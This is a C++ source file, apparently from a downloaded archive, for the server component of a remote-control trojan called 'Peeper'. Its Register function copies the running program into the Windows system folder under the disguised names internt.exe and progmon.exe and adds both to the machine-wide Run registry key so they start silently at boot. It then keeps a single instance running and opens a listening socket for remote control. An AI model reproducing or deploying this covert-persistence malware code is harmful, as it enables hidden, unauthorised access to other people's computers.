www.pudn.com > 大型远程控制软件(偷窥者)源码大公开.zip > PeeperServer.cpp


#include "stdafx.h" 
#include "PeeperServer.h" 
#include "SocketThread.h" 
 
BEGIN_MESSAGE_MAP(CPeeperServerApp, CWinApp) 
	//{{AFX_MSG_MAP(CPeeperServerApp) 
	//}}AFX_MSG 
END_MESSAGE_MAP() 
 
CPeeperServerApp::CPeeperServerApp() 
{ 
} 
 
CPeeperServerApp theApp; 
 
BOOL CPeeperServerApp::Register() 
{ 
	long  ret = 0; 
	HKEY  hKEY; 
	char  chCurPath[MAX_PATH]; 
	char  chSysPath[MAX_PATH]; 
	char  lpNewFileName1[MAX_PATH]; 
	char  lpNewFileName2[MAX_PATH]; 
	LPSTR lpCurFileName; 
	DWORD dwType = REG_SZ; 
	DWORD dwSize = MAX_PATH; 
	LPCTSTR lpRegPath = _T("Software\\Microsoft\\Windows\\CurrentVersion\\Run"); 
 
	::GetSystemDirectory(chSysPath, dwSize); 
	::GetModuleFileName(NULL, chCurPath, dwSize); 
	 
	//Copy File 
	lpCurFileName = chCurPath; 
	sprintf(lpNewFileName1, "%s\\internt.exe", chSysPath); 
	ret = CopyFile(lpCurFileName, lpNewFileName1, FALSE); 
	sprintf(lpNewFileName2, "%s\\progmon.exe", chSysPath); 
	ret = CopyFile(lpCurFileName, lpNewFileName2, FALSE); 
	//Open key 
	ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpRegPath, 0, KEY_WRITE, &hKEY); 
	if(ret != ERROR_SUCCESS) 
	{  
		RegCloseKey(hKEY); 
		return FALSE; 
	} 
 
	//Set Key 
	ret = RegSetValueEx(hKEY, "Internt", NULL, dwType,  
		(const unsigned char*)lpNewFileName1, dwSize); 
 
	ret = RegSetValueEx(hKEY, "Program file", NULL, dwType,  
		(const unsigned char*)lpNewFileName2, dwSize); 
 
	RegCloseKey(hKEY); 
 
	return TRUE; 
} 
 
#define PEEPER_ALONE		_T("PEEPER_ALONE_FILEMAPPING_LDF_5180") 
 
BOOL CPeeperServerApp::InitInstance() 
{ 
	//保持只有一个服务在运行..... 
	//使用了文件映像的方法,存储当前Process ID到内存中,这样就可以通过这个 
	//ID来退出这个进程了. 
	HANDLE hProcessID = ::OpenFileMapping(FILE_MAP_ALL_ACCESS, TRUE, PEEPER_ALONE); 
	LPBYTE lpData = NULL; 
	if(hProcessID != NULL) // 已经有服务在运行了. 
	{ 
		lpData = (LPBYTE)::MapViewOfFile(hProcessID,  
			FILE_MAP_ALL_ACCESS, 0, 0, sizeof(DWORD)); 
		DWORD dwID = 0; 
		if(lpData != NULL) 
		{ 
			dwID = *((DWORD *)(lpData)); // 得到在运行的进行ID 
		} 
		::UnmapViewOfFile(lpData); 
		::CloseHandle(hProcessID); 
		if(dwID != 0) // 通过ID来退出进程 
		{ 
			HANDLE hHandle = NULL; 
			hHandle = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwID); 
			::TerminateProcess(hHandle, 0); 
			::WaitForSingleObject(hHandle, INFINITE); 
			::CloseHandle(hHandle); 
		} 
	} 
	hProcessID = ::CreateFileMapping((HANDLE)0xFFFFFFFF, NULL, PAGE_READWRITE, 
		0, sizeof(DWORD), PEEPER_ALONE); 
	if(hProcessID != NULL) // 创建新的文件映象,保存本进程的ID 
	{ 
		lpData = (LPBYTE)::MapViewOfFile(hProcessID,  
			FILE_MAP_ALL_ACCESS, 0, 0, sizeof(DWORD)); 
		if(lpData != NULL) 
		{ 
			DWORD dwID = ::GetCurrentProcessId(); 
			memcpy(lpData, &dwID, sizeof(DWORD)); 
		} 
	} 
	Register(); 
	CSocketThread *m_pSocketThread = new CSocketThread(PL_PEEPER_PORT); 
	m_pSocketThread->CreateThread(); 
	::WaitForSingleObject(m_pSocketThread->m_hThread, INFINITE); 
	::UnmapViewOfFile(lpData); // 取消文件映象 
	::CloseHandle(hProcessID); 
 
	return FALSE; 
}